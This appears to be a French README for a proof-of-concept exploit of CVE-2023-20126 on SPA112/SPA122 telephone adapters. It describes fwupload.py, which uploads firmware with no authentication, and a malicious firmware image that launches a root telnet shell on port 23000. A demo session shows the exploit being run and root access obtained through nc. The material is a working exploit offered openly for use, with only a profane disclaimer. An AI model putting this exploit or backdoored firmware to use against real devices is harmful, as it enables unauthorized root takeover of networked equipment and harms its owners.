RancidCrisco

PoC minimal viable pour CVE-2023-20126

Ceci est la version initiale. Elle fonctionne, mais c'est l'exploit du « cas le plus simple ».

Testé et fonctionnel sur SPA112/SPA122 – SPA232D nécessite une image firmware différente.

Fournit un shell root sur le port 23000/tcp.

Je dois encore nettoyer la chaîne d'outils utilisée pour éditer le firmware et je la mettrai probablement dans un autre dépôt. Elle est principalement basée sur les travaux de @BigNerd95, avec de légères modifications pour fonctionner avec les fichiers firmware SPA112/122.

Démo.

$ python3 CVE-2023-20126.py http://192.168.0.152 CFW.bin 
Base URL: http://192.168.0.152
Firmware File: CFW.bin
Sending firmware update...
Firmware upgrade successful. Device will reboot eventually and be running the new FW.

< wait a few mins, nervously > 

$ nc -v 192.168.0.152 23000
Connection to 192.168.0.152 port 23000 [tcp/inovaport1] succeeded!
????????


BusyBox v1.10.2 (2019-10-14 12:41:41 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# id;uname -a;pwd
id;uname -a;pwd
uid=0(admin) gid=0(admin)
Linux SPA112 2.6.26.5 #1 PREEMPT Sun Sep 6 10:54:57 CST 2015 armv5tejl unknown
/
# cat /etc/version
cat /etc/version
router_major_version:1.4.1
router_minor_version:SR5
build_date:Mon Oct 14 12:48:12 CST 2019
build_version:6735
hardware_version:1.1.0

Fichiers

• fwupload.py – outil d'envoi d'image firmware qui contourne l'authentification en n'en envoyant tout simplement aucune, exploitant CVE-2023-20126. Il prend deux arguments : l'URL de l'interface Web de l'appareil et le fichier firmware à charger.
• telnet-23000.bin – image firmware malveillante de preuve de concept qui lance telnetd -l /bin/sh -p 23000, fournissant un shell root sur le port 23000/tcp. Basé sur les travaux de bignerd95.

Licence

WTFPL.

Bugs

utilisez les issues git.

Avertissement

Si ça te transforme ton putain d'appareil en brique, je n'assume aucune responsabilité.
C'est TON problème.
Je veux dire, j'ai bricolé ce firmware piégé en une soirée.
Et aussi, pourquoi tu ne suis pas le write-up et ne construis pas ton propre firmware piégé ?